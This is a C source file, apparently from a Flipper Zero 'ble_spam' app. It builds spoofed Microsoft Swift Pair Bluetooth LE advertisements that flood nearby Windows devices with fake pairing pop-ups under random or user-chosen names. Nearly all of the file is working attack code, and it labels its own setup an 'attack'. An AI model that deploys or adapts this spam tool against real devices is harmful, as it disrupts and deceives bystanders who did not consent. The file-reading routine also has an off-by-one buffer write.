swiftpair.c 4.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include "swiftpair.h"
  5. #include "_protocols.h"
  6. #include <storage/storage.h>
  7. // Hacked together by @Willy-JL and @Spooks4576
  8. // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
  9. static const char* make_name(const Payload* payload) {
  10. UNUSED(payload);
  11. static const char* names[256];
  12. static uint8_t names_count = 0;
  13. if(names_count == 0) {
  14. Storage* storage = furi_record_open(RECORD_STORAGE);
  15. if(storage) {
  16. File* file = storage_file_alloc(storage);
  17. if(storage_file_open(
  18. file, "/ext/apps_assets/ble_spam/winlist.txt", FSAM_READ, FSOM_OPEN_EXISTING)) {
  19. char line[256];
  20. uint64_t bytes_read = storage_file_read(file, line, sizeof(line));
  21. if(bytes_read > 0) {
  22. line[bytes_read] = '\0';
  23. char* name = strtok(line, ",");
  24. while(name && names_count < 255) {
  25. names[names_count++] = strdup(name);
  26. name = strtok(NULL, ",");
  27. }
  28. }
  29. storage_file_close(file);
  30. }
  31. storage_file_free(file);
  32. furi_record_close(RECORD_STORAGE);
  33. }
  34. }
  35. if(names_count == 0) {
  36. return "NameFlood";
  37. } else {
  38. return names[rand() % names_count];
  39. }
  40. }
  41. static const char* get_name(const Payload* payload) {
  42. UNUSED(payload);
  43. return "SwiftPair";
  44. }
  45. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  46. SwiftpairCfg* cfg = payload ? &payload->cfg.swiftpair : NULL;
  47. const char* name;
  48. switch(cfg ? payload->mode : PayloadModeRandom) {
  49. case PayloadModeRandom:
  50. default:
  51. name = make_name(payload);
  52. break;
  53. case PayloadModeValue:
  54. name = cfg->name;
  55. break;
  56. }
  57. uint8_t name_len = strlen(name);
  58. uint8_t size = 7 + name_len;
  59. uint8_t* packet = malloc(size);
  60. uint8_t i = 0;
  61. packet[i++] = size - 1; // Size
  62. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  63. packet[i++] = 0x06; // Company ID (Microsoft)
  64. packet[i++] = 0x00; // ...
  65. packet[i++] = 0x03; // Microsoft Beacon ID
  66. packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
  67. packet[i++] = 0x80; // Reserved RSSI Byte
  68. memcpy(&packet[i], name, name_len); // Device Name
  69. i += name_len;
  70. *_size = size;
  71. *_packet = packet;
  72. }
  73. enum {
  74. _ConfigExtraStart = ConfigExtraStart,
  75. ConfigName,
  76. ConfigInfoRequire,
  77. ConfigCOUNT,
  78. };
  79. static void config_callback(void* _ctx, uint32_t index) {
  80. Ctx* ctx = _ctx;
  81. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  82. switch(index) {
  83. case ConfigName:
  84. scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
  85. break;
  86. case ConfigInfoRequire:
  87. break;
  88. default:
  89. ctx->fallback_config_enter(ctx, index);
  90. break;
  91. }
  92. }
  93. static void extra_config(Ctx* ctx) {
  94. Payload* payload = &ctx->attack->payload;
  95. SwiftpairCfg* cfg = &payload->cfg.swiftpair;
  96. VariableItemList* list = ctx->variable_item_list;
  97. VariableItem* item;
  98. item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
  99. variable_item_set_current_value_text(
  100. item, payload->mode == PayloadModeRandom ? "Random" : cfg->name);
  101. variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
  102. variable_item_list_set_enter_callback(list, config_callback, ctx);
  103. }
  104. static uint8_t config_count(const Payload* payload) {
  105. UNUSED(payload);
  106. return ConfigCOUNT - ConfigExtraStart - 1;
  107. }
  108. const Protocol protocol_swiftpair = {
  109. .icon = &I_windows,
  110. .get_name = get_name,
  111. .make_packet = make_packet,
  112. .extra_config = extra_config,
  113. .config_count = config_count,
  114. };
  115. static void name_callback(void* _ctx) {
  116. Ctx* ctx = _ctx;
  117. Payload* payload = &ctx->attack->payload;
  118. payload->mode = PayloadModeValue;
  119. scene_manager_previous_scene(ctx->scene_manager);
  120. }
  121. void scene_swiftpair_name_on_enter(void* _ctx) {
  122. Ctx* ctx = _ctx;
  123. Payload* payload = &ctx->attack->payload;
  124. SwiftpairCfg* cfg = &payload->cfg.swiftpair;
  125. TextInput* text_input = ctx->text_input;
  126. text_input_set_header_text(text_input, "Press back for random");
  127. text_input_set_result_callback(
  128. text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
  129. text_input_set_minimum_length(text_input, 0);
  130. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
  131. }
  132. bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
  133. Ctx* ctx = _ctx;
  134. Payload* payload = &ctx->attack->payload;
  135. if(event.type == SceneManagerEventTypeBack) {
  136. payload->mode = PayloadModeRandom;
  137. }
  138. return false;
  139. }
  140. void scene_swiftpair_name_on_exit(void* _ctx) {
  141. Ctx* ctx = _ctx;
  142. text_input_reset(ctx->text_input);
  143. }